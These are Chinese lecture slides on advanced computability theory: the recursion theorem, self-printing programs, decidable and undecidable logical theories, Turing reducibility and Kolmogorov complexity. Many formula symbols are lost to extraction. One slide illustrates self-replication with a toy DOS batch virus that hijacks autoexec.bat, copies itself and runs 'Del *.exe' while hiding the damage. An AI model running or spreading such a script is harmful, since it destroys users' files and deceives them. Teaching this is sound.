可计算理论的高级专题.ppt

1、1,朴秀峰,计算理论,第6章 可计算性理论的高级专题,2,主要内容,6.1 递归定理6.1.1 自引用6.1.2 递归定理的术语6.1.3 应用6.2 逻辑理论的可判定性6.2.1 一个可判定的理论6.2.2 一个不可判定的理论6.3 图灵可归约性6.4 信息的定义6.4.1 极小长度的描述 6.4.2 定义的优化 6.4.3 不可压缩的串和随机性,3,递归定理,递归定理是一个数学结论，在可计算性理论的高级研究中起着重要的作用。考察与生命科学有关的一个悖论：1) 生物都是机器。2) 生物都能自再生。3) 机器不能自再生。设有构造机器 B 的机器 A：A 肯定比 B 复杂，但一个机器不会比它自己

2、更复杂。因此没有机器能够制造它自己，故自再生是不可能的。？制造能生产自己的机器是可能的。,4,递归的意义,自己调用自己从前有个庙，庙里有个老和尚，老和尚给小和尚讲故事，讲的故事是：“从前有个庙，庙里有个老和尚，老和尚给小和尚讲故事，讲的故事是”,自我繁殖#include main()char *c=#include main()char *c=%c%s%c;printf(c,34,c,34);printf(c,34,c,34);,5,自引用,可以任取一个字符串 w，然后从它构造一个图灵机，使得此图灵机将 w内装在一个表中，这样，当此图灵机开始运行后，它只要简单输出 w 即可。下列 TM Q 计

3、算 q(w)：Q = “对于输入串 w：1) 构造下列图灵机 Pw：Pw = “对于任意输入： a) 抹去输入。 b) 在带上写下 w。 c) 停机。”2) 输出。”,6,图灵机 SELF,图灵机 SELF 忽略输入，且打印出它自己的描述。图灵机 SELF 有两个部分，分别叫做 A 和 B，将 A 和 B 想象成两个分离的过程，它们一起组成 SELF。我们希望 SELF 打印出 = 。A 部分首先运行，在根据完成情况将控制传给 B。A 的任务是打印出 B 的描述。使用机器 P 来定义 A，其中 P用函数 q 在 处的值q()描述，这样，A 部分是一个打印出 的图灵机。A 的描述依赖于是否已经有

4、了 B 的描述，所以在构造出 B 之前，无法完成 A 的描述。定义 B，使之能打印 A：B 从 A 产生的输出来计算 A。如果 B 能得到 ，它就能用 q 来得到 。当 A 结束时，它被留在带上。所以 B 只要看着带子就能得到 。在计算 q() = 之后，B 将之加到带的前面。然后将 A 和 B 组合成一个机器并在带上写下它的描述。,7,图灵机 SELF,B,A,(=P),SELF 的控制器,SELF 的示意图，一个打印它自己的描述的 TM,A = P(B)，且B = “ 对于输入 ，其中 M 是一个 TM 的一部分： 1) 计算 q()。 2) 将其结果与 结合来组成一个完整的 TM 描述。

5、 3) 打印这个描述，然后停机。”,8,图灵机 SELF,B,A,(=P),SELF 的控制器,如果现在运行 SELF ，能观察到如下动作：,1) 首先 A 运行，它在带上打印 ；2) B 开始运行，它查看带子，找到它的输入 ；3) B 计算 q()=，然后将之与 合并，构成 TM SELF 的描述 。4) B 打印这个描述，且停机。,9,图灵机 SELF,容易用任何程序设计语言实现这个构造，即得到一个程序，输出就是它自己。也可用自然语言实现：打印这个句子考虑下面的变换打印下面语句的两个副本，在第二个副本上加引号；“打印下面语句的两个副本，在第二个副本上加引号；”本例中，B 部分的构造是如下的

6、句子：打印下面语句的两个副本，在第二个副本上加引号；A 部分与之相同，只是用引号将之括起来。A 提供了 B 的一个副本给 B。,10,递归定理,只需要制造一个 TM T，使之以自己的描述作为输入的一部分。然后递归定理就产生一个新的机器 R，它和 T 一样运行，只是 R 的描述被自动地装在 T 中。,A,B,T,(=P),R 的控制器,11,递归定理,A 是由 q()描述的图灵机 P。为了保持输入w，重新设计 q，使得 P 印出任何预先在带上存在的串的输出。在 A 运行之后，带上包含 w。B 是如下的过程：检查带子，并将 q 应用于带内容。结果是。然后 B 将 A、B 和 T 组成一个图灵机，并

7、得到它的描述 = 。最后，描述的编码和 w 结合，在带上形成结果串 ，并将控制传给 T。,A,B,T,(=P),R 的控制器,12,递归定理的术语,在设计图灵机算法时，可用如下方式使用递归定理。如果你正在设计一个图灵机 M，则可以在 M 的算法的非形式描述中包含如下的短语：“得到自己的描述”。一旦得到自己的描述，M 就能像使用其他已计算出来的值一样使用这个描述。例如，M 可以简单打印出 ；或者计算 中的状态数；或模拟 。用递归定理来描述机器 SELF：SELF = “对于任意输入：1) 利用递归定理得到它自己的描述 ；2) 打印 。”,13,递归定理的术语,递归定理展示了怎样实现“获得自己的描

8、述”的构造。为了产生机器 SELF，首先写下以下机器 T：T = “对于输入：1) 打印 并停机。”TM T 得到 TM M 和它输入的串 w 的描述，它打印了 M 的描述 。然后递归定理展示怎样获得在输入 w 上的 TM R，像 T 在输入 上那样操作。因此 R 打印出 R 的描述，恰好是机器 SELF 所需要得到的。,14,递归定理的应用,计算机病毒是一个计算机程序，它被设计成在计算机中传播它自己。为了实现自我复制的基本任务，可能使用到递归定理证明中的结构。,例 计算机病毒；（Autoexec.BAT ) 从A: 盘 复制 到B:盘 Echo This is a Virus program

9、 IF exist b:autoexec.bat goto Virus Goto No_Virus : Virus B: Rename autoexec.bat auto.bat /准备冒名顶替 Copy a:autoexec.bat b: /自我复制部分 Echo I am Virus /诚实的自白 Del *.exe /实施破坏 : No_virus A: Auto /调用原来 autoexec.bat，给出平安无事的假象,15,递归定理的应用,假设图灵机 H 可判定 ATM。构造下列图灵机 B。B = “对于输入 w：1) 由递归定理得到自己的一个描述 。2) 在输入 上运行 H。3)

10、得到与 H 相反的结果， 即：如果 H 拒绝，则接受；如果 H 接受，则拒绝。”对输入w，B 的结果与 H 相反，所以 H 不可能判定 ATM。,16,递归定理的应用,定义6.4,如果 M 是一个图灵机，则 M 的描述 的长度是描述 M 的串中所含符号的个数。如果没有与 M 等价的图灵机有更短的描述，则称 M 是极小的。令MINTM | M 是一个极小 TM ,17,递归定理的应用,假设 TM E 枚举MlNTM，然后试图来得到矛盾。构造下列 TM C。C = “ 对于输入 w：1) 由递归定理得到它自己的一个描述 。2) 运行枚举器 E，直到一个比 C 的描述更长的机器D出现。3) 在输入

11、w上模拟 D。为 MINTM 是无限的，故 E 的序列中必定含有 TM，其描述比 C 的描述更长。因此，C 的第二步最终将在某个 TM D上终止，且 D 比 C 更长。然后 C 就模拟 D，且与之等价。因为 C 比 D 短且与之等价，故 D 不可能是极小的，但D又在 E 产生的序列中出现，这样就得到了矛盾。,18,递归定理的应用,设 F 是下列图灵机。F = “ 对于输入w：1) 由递归定理得到它自己的一个描述。2) 计算 t () 得到一个 TM G 的描述。3) 在输入w上模拟 G。”显然， 和 t() = 描述了等价的图灵机，因为 F 模拟 G。,19,主要内容,6.1 递归定理6.1.

12、1 自引用6.1.2 递归定理的术语6.1.3 应用6.2 逻辑理论的可判定性6.2.1 一个可判定的理论6.2.2 一个不可判定的理论6.3 图灵可归约性6.4 信息的定义6.4.1 极小长度的描述 6.4.2 定义的优化 6.4.3 不可压缩的串和随机性,20,逻辑理论的可判定性,数理逻辑是数学的一个分支，它研究数学本身。数理逻辑关心如下问题：什么是定理？什么是证明？什么是真？算法能判定哪些命题是真的？所有真命题都是可证的吗？关心的焦点：能否确定一个数学命题是真是假，以及这种问题的可判定性。,21,逻辑理论的可判定性,命题1称，有无限多个素数存在，在大约2300年以前的欧几里德时代，就已知

13、道这个命题是真的。命题2称为费马大定理，这个命题几年前由安德鲁威尔士(Andrew Wiles)证明为真。命题3称，有无限多个素数对存在，这被称为孪生素数猜想(twin prime conjecture)。它到现在还未被解决。,首先需要建立一个精确的语言来将这些问题形式化。我们的要求是能够考虑如下数学命题：,22,符号，称为布尔运算；“(”和“)”是括号；符号 和 是量词；符号x用来代表变元；符号R1， ，Rk 称为关系。,逻辑理论的可判定性,为了将之进一步精确化，现在描述这个语言的字母表：,23,公式,公式是字母表上的良构串。形如 Ri (x1, x2, , xj) 的串是原子公式，值 j

14、是关系符号 Ri的元数。一个良构公式中所有出现的相同关系符号必须有相同的元数。一个串如满足一下条件，则是一个公式：1) 是一个原子公式；2) 具有形式1 2 或 1 2或 1。 其中1和2 是更小的公式。3) 具有形式1 2 或12 或 1。 其中 x1 或 x1，其中 1 是更小的公式。,24,公式,辖域：紧跟在量词化变元后的一对括号中的部分。前束范式：所有量词都出现在公式的前面。自由变元：没有被量词的辖域所约束的变元。句子或命题：没有自由变元的公式。,(1) x (F(x,y)G(x, z) )(2) x (F(x)G(y) y (H(x)L(x, y, z),25,例6.7 在下列公式中

15、，只有最后一个是句子：,逻辑理论的可判定性,26,逻辑理论的可判定性,论域：覆盖变元可能的取值。将关系符号指定为确定的关系。而关系是从论域上的k元组到TRUE，FALSE的函数。关系符号的元数必须和指派给它的关系和元数相同。论域连同关系到关系符号的指派一起称为模型。形式上，一个模型 M 是一个元组(U, P1, , Pk)，其中U是论域，P1 到 Pk 是指派给符号 R1 到 Rk 的关系。模型语言：在公式的集合中，只使用此模型指派的关系符号，且对每个关系符号，使用正确的元数。如果是某个模型语言中的句子，则在这个模型中不为真就为假。如果在模型 M 中为真，则说 M 是的一个模型。,27,逻辑理

16、论的可判定性,例6.8 设是句子xy R1(x, y) R1(y, x) ，模型 M1 = (N, )是如下的模型：它的论域是自然数集，它将“小于或等于”关系分配给符号R1。显然在M1中为真，因为对于任意两个自然数 a 和 b，a b 和 ba 必有一个成立。但如果M1将“小于”关系（而不是“小于或等于”关系）指派给R1，则将不真，因为当 x 和 y 相等时，它不再成立。,如果事先知道什么关系将指派给 Ri，就可以用这个关系的惯用记号来代替 Ri，且按习惯，可用中缀记法。对于 M1，可以将写成 xy x y yx,28,例6.9 设 M2 是如下的模型：它的论域是是实数集 R，且讲关系 PLU

17、S 指派给 R1，其中：只要当 a+b=c 时 PLUS(a, b, c) =TURE。则 M2 是= yx R1(x, x , y) 的一个模型。但如果用 N 代替 R 作为 M2 的论域，则此句子为假。,逻辑理论的可判定性,如果 M 是一个模型，这个模型语言中所有真句子的集合称为 M 的理论系统，简称为理论，记为Th(M) 。,29,一个可判定性的理论,设 3 包含所有高度为 3 的 0 和 1 的列。3 上的字符串给出三行 0 和 1。把每一行看作一个二进制数，令B = w3 | w 最下面的一行等于上面两行的和 则 B 是正则的。,30,Th(N, +)是可判定的,考虑如下一个实例：,

18、构造有限自动机： (x1, x2, x3) | x1+x2=x1+x3 ,然后构造NFA： (x1, x2) | x3 x1+x2=x1+x3 ,同样： (x1) | x2x3 x1+x2=x1+x3 , 为真时，得到 (),为假时得到。,31,一个可判定性的理论,思路：对于输入为(N, +)的语言中的句子检查其在模型中是否为真。=Q1x1Q2x2 Qlxl 对于 0l 的每一个i，令公式i 为i=Qi+1xi+1Qi+2xi+2 Qlxl 这样，0=且 l =。对于从 0 到 l 的每个 i，算法构造了一个有穷自动机 Ai，它识别如下串的集合：这些串表示i 为真的数的 i 元组。算法先直接构

19、造 Ai，然后，对从 l 向下到 1 的每个 i，它用 Ai 构造 Ai-1。最后，一旦得到 A0，算法就检查 A0是否接受空串。如果接受，则为真，算法也就接受。,32,Th(N, +)是可判定的,则 i = 包含了所有 0 和 1 构成的 i元列向量。 i 上的每个串表示 i 的二进制整数（沿行读）。令0 = ，其中 是一个符号。现在介绍判定 Th(N,+) 的算法。对于输入 (其中为句子)，算法如下运行：写下，且对从 0 到 l 的每个 i，如同在证明思路中介绍的那样定义i 。再对每个这样的i，由i构造有穷自动机Ai，使得只要i(a1, ,ai)为真，它就接受i*上对应于i元组a1, ,

20、ai 的串。Ai 的构造如下：,对 i 0，定义字母表,33,为构造第一个机器 Al，注意到l 是原子公式的布尔组合。在 Th(N,+) 的语言中，原子公式只有单个加法。对每个这样的单个加法，可以构造个有穷自动机来计算这样的单个加法所对应的关系，然后将这些有穷自动机组合起来，就能给出自动机Al。这样做要涉及正则语言类对于交、并和补的封闭性，以计算原子公式的布尔组合。接下来说明怎么由 Ai+1 来构造 Ai。如果i = xi+1i+1，则构造 Ai 使得它的运行几乎与Ai+1一样，区别在于 Ai 非确定地猜 ai+1 的值，而不是将它作为输入的一部分而接受。更精确地说，对于 Ai+1 的每个状态

21、， Ai 包含一个与之对应的状态；且 Ai还包含一个新的起始状态。每当 Ai 读下列符号时，,一个可判定性的理论,34,这里每个 bi0,1 是数 ai 的某一位，它非确定地猜 z0,1，且在下列输入符号上模拟 Ai+1。,一个可判定性的理论,最初，Ai 非确定地猜测 ai+1的引导位，这些引导位对应于 a1 到 ai 中隐藏的引导 0。猜测的方法是：从它新的起始状态到所有状态非确定性地进行分叉，这些状态是 Ai+1 以 i+1中下列符号的串为输入、从它的开始状态所能到达的状态。,显然，如果存在ai+1，使得Ai+1接受(a1,ai+1)，则Ai接受(a1,ai) 。如果i= xi+1i+1，

22、它等价于 xi+1i+1。首先构造识别语言 Ai+1 的补的有穷自动机，然后应用上述对于量词的构造，最后再一次应用补来得到Ai。有穷自动机 A0 接收某个输入，当且仅当0为真。所以算法的最后步骤是检查 A0 是否接收 。如果是，则为真，且算法接受它；否则，就拒绝。,35,一个不可判定性的理论,36,一个不可判定性的理论,证明：如果是可证的，则下列算法P接受其输入 。算法P使用在可证性性质1中所说的证明检查器，检查每个可能成为的证明的候选串。如果发现一个侯选串正是一个证明，则接受它。,37,证明：用反证法。假设所有真命题都是可证的，利用这个假设来构造判定命题是否为真的算法D，与定理6.11矛盾。

23、 对于输入，算法D如下运行：在输入和 上并行地运行定理6.13的证明中给出的算法P。这两个命题总有一个为真，根据假设，总有一个是可证的。因而P在其中一个输入上停机。根据可证性性质2，如果是可证的，则为真；如果 是可证的，则为假。所以算法D能判定的真假性。,一个不可判定性的理论,38,一个不可判定性的理论,证明：设S是如下运行的TM。 S“对于任意的输入： 1)出递归定理得到它自己的描述。 2)用引理6.12构造句子 。 3)在输入 上运行定理6.13给出的算法P。 4)如果上一步接受，就接受；如果它停机且拒绝，则拒绝。” 设 是算法S的第二步所描述的句子 。 为真，当是仅当S不接受0（串0是随

24、意选择的)。 如果s能找到 的一个证明，S就接受0，这个句子也就因之为假。一个假句子是不能被证明的，所以这种情形不可能发生。剩下的唯一可能性是S不能找到 的证明，因而S不接受0。但我们已宣布过 为真。,39,主要内容,6.1 递归定理6.1.1 自引用6.1.2 递归定理的术语6.1.3 应用6.2 逻辑理论的可判定性6.2.1 一个可判定的理论6.2.2 一个不可判定的理论6.3 图灵可归约性6.4 信息的定义6.4.1 极小长度的描述 6.4.2 定义的优化 6.4.3 不可压缩的串和随机性,40,图灵可归约性,考虑两个语言ATM和ATM，直观上它们可以互相归约。实际上不能。,41,图灵可

25、归约性,例6.17 考虑 ATM 的一个谕示。带 ATM 的谕示的一个谕示图灵机比普通的团灵机能判定更多的语言，这样的图灵机能够判定ATM自身(显然成立)，它只要对输入询问它的谕示即可。它也能判定 ETM，即 TM 的空性质检查问题，用的是下面称 TATM 的过程： TATM = “对于输 入，其中 M 是一个 TM： 1)构造下面 TM N： N = “对任意输入： a)对 * 中的所有串并行运行 M。 b)如果 M 接受它们中的任何一个串，则接受。” 2)询问谕示以确定 ATM是否成立 3)如果谕示回答“不”，则接受；如果回答“是”，则拒绝。”如果 M 的语言不空，则N将接受每个输入，特别

26、地，将接受 0。从而谕示将回答“是”，且 TATM 将拒绝。相反地，如果M的语言是空的，则 TATM 将接受。所以 TATM 判定 ETM。我们说 ETM 是可判定归约到 ATM 。,42,图灵可归约性,43,图灵可归约性,如果 B 是可判定的，则可以用判定 B 的实际过程来替换 B 的谕示。这样就用判定 A 的普通图灵机取代了判定 A 的谕示图灵机。,图灵可归约性是映射可归约性的一个推广。如果AmB，则入ATB，因为此映射归约可以被用来给出一个相对于 B、判定 A 的谕示图灵机。带 ATM 的谕示的谕示图灵机十分强大。它能解许多不能由普通图灵机解的问题。但即使是这样一个强大的图灵机，也不能判

27、定所有语言。,44,主要内容,6.1 递归定理6.1.1 自引用6.1.2 递归定理的术语6.1.3 应用6.2 逻辑理论的可判定性6.2.1 一个可判定的理论6.2.2 一个不可判定的理论6.3 图灵可归约性6.4 信息的定义6.4.1 极小长度的描述 6.4.2 定义的优化 6.4.3 不可压缩的串和随机性,45,信息的定义,A=“0101010101010101010101010101010101”B=“0101110101001010001110001100011011”.序列A 有规律地 重复01串 17次，可压缩为 01#17序列B 比较复杂，短话说不清的，信息量较大直观感觉：表达

28、语义的 最短尺寸，可用来度量其信息量规律性使得描述较短（信息量较小）,规律的描述和输入,重复17次 01,TM w,说明可用 w 的长度来描述信息量,46,信息的定义,TM M 的描述和它的输入 x 能被描述为较长的二进制串：,如何才能知道 停止 和 开始?,我们可以给 编码: 将 0 写成 “00” 将 1 写成 “11” “01” 作为分界分界位置,M 分隔符 w,47,定义6.20,设 x 是二进制数的串，x 的极小描述，记为d(x)，是最短的串 ，其中：TM M 在输入w上停机时，x 在带上。且如果有多个这样的串存在，则在其中选择字典序下的第一个串。X 的描述复杂性记为K(x)，是 K

29、(x) = |d(x)|换句话说，K(x) 是 x 的极小描述的长度。K(x) 的定义是为了刻画串 x 中的信息量这个直观概念的。,信息的定义,48,信息描述复杂性的基本结论,为证明此定理给出的 K(x) 的上界，只需给出一个不长于这个上界的 x 的描述。x 的极小描述可能比这个描述更短，但不会更长。考虑串 x 的下列描述。设 M 是这样一个图灵机：它一启动就停机。此图灵机计算恒等函数输出与输入是一样的函数。x 的一个描述是 x。令 c 是 的长度，就可完成证明。,49,定理6.22,串重复的描述复杂性,考虑下列图灵机 M，它要形如 的输入，其中 N 是一个图灵机，w 是它的一个输入。M =

30、“对于输入，其中N是一个图灵机，w 是一个串：1) 在 w 上运行 N 直到停止，且产生输出串 s2) 输出串 ss。”xx 的一个描述是 d(x)，而 d(x) 是 x 的最小描述，这个描述的长度是 | + d(x)，即为 c + K(x)，其中 c 是 的长度。,50,串连接的描述复杂性,构造 TM M，它将输入 w 拆成两个单独的描述。在第二个描述 d(y) 出现以前，第一个描述 d(x) 的所有位都被写两边且以 01 结束，如图6-3所示。在得到两个描述之后，它们就开始运行，得到串 x 与 y，及产生 xy。显然，xy 的这个描述的长度是 x 的复杂性的两倍加上 y 的复杂性，再加上描

31、述 M 的固定常量 c。此和为2K(x) + K(y) +c这就完成了证明。,51,定义的优化,在用算法来定义描述复杂性的所有可能的方法中，关于K(x) 的定义具有一个优化性质。假如将一般的描述语言看做一个可计算函数 p : * * ，并定义 x 相对于 p 的极小描述为满足 p(s)=x 的字典下最短的串 s，记为 dp(s)，然后可以定义 Kp(x) = | dp(x)|。例如，将一个程序设计语言，比如 LISP (编码成二进制数)，看作描述语言，则 dLISP(x) 将是输出 x 的极小 LISP 程序，KLISP(x) 将是这个极小程序的长度。任何此种类型的描述语言，都不会明显地比原先

32、定义的图灵机和输入语言更简洁。,52,定义的优化,用LISP例子来说明证明思路。假设 x 有一个短的LISP描述w。令M是一个能解释LISP的TM，且以x的LISP程序w作为输入。则是x的一个描述，且它比x的LISP描述只大一个固定的量。多出的长度是LISP解释器M。,对于输入语言 p，考虑下列图灵机 M：M = “对于输入 w:1) 输出 p(w)。”则 dp(x) 是 x 的一个描述，它的长度至多比 Kp(x)大一个固定常量，此常量为 的长度。,53,设 x 是一个串，如果则称 x 是 c 可压缩的(c-compressible)。如果 x 不是 c 可压缩的，则称 x 是不可压缩 c 的

33、。如果 x 是不可压缩 1 的，则称 x 是不可压缩的。,定义6.25,不可压缩的串和随机性,54,对于每个长度，都存在不可压缩的串。,定理6.26,证明：长度为n的二进制数串的个数是2n，每个描述都是一个非空的二进制数串，故长度小于n的描述的个数最多为长度小于等于n-1的串的个数之和，即：所以较短描述的个数小于长度为n的串的个数。因此，至少有一个长度为n的串是不可压缩的。,不可压缩的串和随机性,55,至少有2n - 2n-c+1 + 1个长度为n的串是不可压缩c的。,推论6.27,证明：如同定理6.26一样，最多有2n-c+1 - 1个长度为n的串是c可压缩的。因为最多只有这么多个长度至多为

34、n - c的描述存在。剩下的2n (2n-c+1 1)个都是不可压缩c的。,不可压缩的串和随机性,56,设f是一个对几乎所有串成立的性质，则对任意b0，性质f只在有限多个不可压缩b的串上的值是FALSE。,定理6.28,证明：设M是下列算法： M = “对于输入i，其中i是一个二进制整数： 1)在字典序下，找到使得f(s) = FALSE的第i个串s。 2)输出串s。” 可以用M来得到不具有性质f的串的更短描述，方法如下：设x是这样的串，将所有不具有性质f的串排成一个序列，序列是按长度排序的，同一长度的串按字典序排列。令ix是x在这个序列中的位置或序标(index)，则是f的一个描述，这个描述

35、的长度为|ix| + c，其中c是的长度。因为没有性质f的串较少，故x的序标是小的，它的相应描述也是短的。 任取b0。选择n，使得：在所有长度小于或等于n的串中，至多有1/2b+c+1不具有性质f。所有足够大的n都满足这个条件，因为f 对几乎所有,不可压缩的串和随机性,57,的串成立。令x是长度为n的没有性质f的串，长度小于等于n的串游2n+1-1个，因此，从而|ix| n b c ，故的长度至多为(n b c)+c = n b。这意味着 K(x) n b这样，使得不具有性质f的每个足够长的x都是可压缩b的。因此，只有有限多个不具性质f的串是不可压缩b的。证毕。,不可压缩的串和随机性,58,考

36、虑下列 TM M：M =“对于输入 ，其中 R 是一个 TM，y 是一个串： 1) 在 y 上运行 R，且在它的输出不具有形式 时，拒绝。 2) 在 z 上运行 S，且将它的输出放在带上后停机。”令 b 为 | + 1，证明 b 满足本定理。如不然，则对某个串 x，d(x) 是 b可压缩的。从而 | d(d(x) | | d(x) | - b但 d(d(x) 是 x 的一个描述。它的长度至多为 | + | d(d(x) | (b - 1) +(|d(x)| - b) = | d(x) | - 1x 的这个描述比 d(x) 更短。这与后者的极小性矛盾。,不可压缩的串和随机性,59,作业,6.7、6.12、6.15、6.23,